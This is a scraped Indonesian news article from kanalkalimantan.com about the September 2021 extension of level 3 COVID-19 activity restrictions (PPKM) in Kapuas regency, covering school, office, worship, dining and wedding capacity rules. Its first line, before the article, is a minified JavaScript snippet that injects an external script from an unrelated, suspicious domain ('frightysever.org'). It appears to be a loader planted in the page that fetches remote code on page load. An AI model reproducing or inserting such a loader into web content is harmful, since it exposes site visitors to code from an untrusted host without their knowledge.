(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 3 di Kabupaten Kapuas diperpanjang dari 7 September sampai dengan 20 September 2021.
Hal tersebut tertuang dalam Instruksi Bupati Kapuas menindak lanjuti Instruksi Dalam Negeri Nomor 41 Tahun 2021 tentang PPKM level 3, level 2 dan level 1.
Ketua Harian Gugas Covid-19 Kapuas, Panahatan Sinaga mengatakan, dalam Instruksi Bupati Kapuas terdapat beberapa pengaturan bagi wilayah yang ditetapkan sebagai kriteria level 3.
Diantaranya, untuk pelaksanaan pembelajaran di satuan pendidikan dapat dilakukan melalui pembelajaran tatap muka terbatas atau pembelajaran jarak jauh.
Baca juga :Bupati Kapuas Kukuhkan Pramuka Duta Perubahan Perilaku Covid-19
“Pembelajaran tatap muka dapat dilaksanakan dengan maksimal kapasitas 50% kecuali untuk SDLB, MILB, SMPLB, SMLB dan MALB maksimal 62% sampai dengan 100%, serta untuk PAUD 33% dengan menjaga jarak 1,5 meter dan maksimal 5 peserta didik perkelas,” kata Sinaga, Jumat (10/9/2021).
Selanjutnya, pelaksanaan kegiatan di tempat kerja perkantoran diberlakukan 75% Work From Home (WFH) dan 25% Work From Office (WFO) dengan penerapan protokol kesehatan secara lebih ketat.
“Bagi kegiatan sektor esensial seperti kesehatan, bahan pangan, perbankan dan lain-lain dapat beroperasi 100% dengan pengaturan jam operasional, kapasitas dan penerapan prokes yang ketat,” ucap Sinaga.
Adapun bagi tempat ibadah dapat mengadakan kegiatan peribadatan keagamaan berjamaah dengan pengaturan kapasitas maksimal 25 persen atau maksimal 50 orang dan mengoptimalkan pelaksanaan ibadah di rumah dengan memperhatikan pengaturan teknis dari Kementerian Agama.
Baca juga : Diskop UKM Kalsel Bermitra Lotte Grosir, UMKM Diberi Lapak Khusus
“Pelaksanaan kegiatan pada area publik dan kegiatan seni, budaya dan sosial kemasyarakatan dapat beroperasi 50% dengan menggunakan aplikasi Pedulilindungi atau penerapan protokol kesehatan yang diatur oleh pemerintah daerah,” imbuhnya.
Terkait pelaksanaan kegiatan makan minum di tempat umum diizinkan buka dengan protokol kesehatan yang ketat serta jam operasional dibatasi sampai pukul 20.00 WIB dan untuk restoran atau rumah makan maupun kafe agar mengatur kapasitas pengunjung sebanyak 25 persen.
Masih dalam instruksi ini, Panahatan Sinaga menyebutkan untuk kegiatan resepsi pernikahan dan hajatan maksimal 50 persen dari kapasitas atau 50 orang, dengan tidak ada hidangan makanan di tempat, serta penerapan protokol kesehatan yang ketat.
“Tetap memakai masker dengan benar dan konsisten saat melaksanakan kegiatan di luar rumah serta pelaksanaan PPKM ditingkat RT RW, desa, kelurahan dan kecamatan tetap diberlakukan dengan mengaktifkan posko-posko di setiap tingkatan,” pungkasnya.(kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.